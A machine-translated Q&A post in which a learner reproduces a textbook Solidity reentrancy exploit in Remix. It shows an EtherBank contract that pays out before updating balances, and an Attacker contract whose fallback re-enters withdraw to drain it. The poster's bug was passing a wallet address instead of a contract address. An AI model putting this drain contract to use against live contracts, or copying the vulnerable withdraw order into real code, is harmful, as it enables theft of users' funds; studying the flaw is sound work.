remix.ethereum 中的 Solidity 重入错误

Solidity reentrancy bug in remix.ethereum

我正在尝试重现此 article

中的重入错误

我的配置:

第 1 步: 我使用以下地址部署了 Etherbank 合约:0x5B38Da6a701c568545dCfcB03FcB875f56beddC4

// SPDX-许可证-标识符:麻省理工学院 实用性 ^0.7.0;

contract EtherBank {
    uint public total = 0;
    mapping(address => uint) public balances;
    
    function deposit() public payable {
        balances[msg.sender] += msg.value;
         total += msg.value;
    }
    
    function withdraw(uint _amount) public payable{
        require(balances[msg.sender] >= _amount , "Out of amount");
        
        (bool sent, ) = msg.sender.call{value: _amount}("");
        
        require(sent, "Failed to send Ether");
        
        balances[msg.sender] -= _amount;
        total -= _amount;       
    }
    
    function getBalance() public view returns(uint) {
        return balances[msg.sender];
    }
}

仍然使用相同的地址,我多次调用函数存款以使一些 ETH 可用,所以当我调用 getBalance 时,输出是“uint256: 3000000000000000000”

第 2 步: 我使用新地址部署了攻击者合约:0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db

contract Attacker {
    EtherBank public etherBank;
    
    constructor(address _etherBankAddress) {
        etherBank = EtherBank(_etherBankAddress);
    }
    
    function attack() public payable {
        require(msg.value >= 1 ether);
        etherBank.deposit{ value: 1 ether}();
        etherBank.withdraw(1 ether);
    }

    fallback() external payable {
        if(address(etherBank).balance >= 1 ether){
            etherBank.withdraw(1 ether);
        }
    }
    
    function getBalance() public view returns(uint) {
        return address(this).balance;
    }
}

当我调用攻击时出现以下错误:事务已恢复到初始状态。如果您发送价值,则调用的函数应该是可支付的,并且您发送的价值应小于您的当前余额。

我不明白为什么我的 remix 测试账户每个都超过 90ETH。

我的错!我试图传递钱包地址(部署 EtherBank),而不是 Attacker[ 中的 Etherbank 合约地址 合约构造函数。 现在一切正常。

Here很好的解释了钱包地址和合约地址的区别: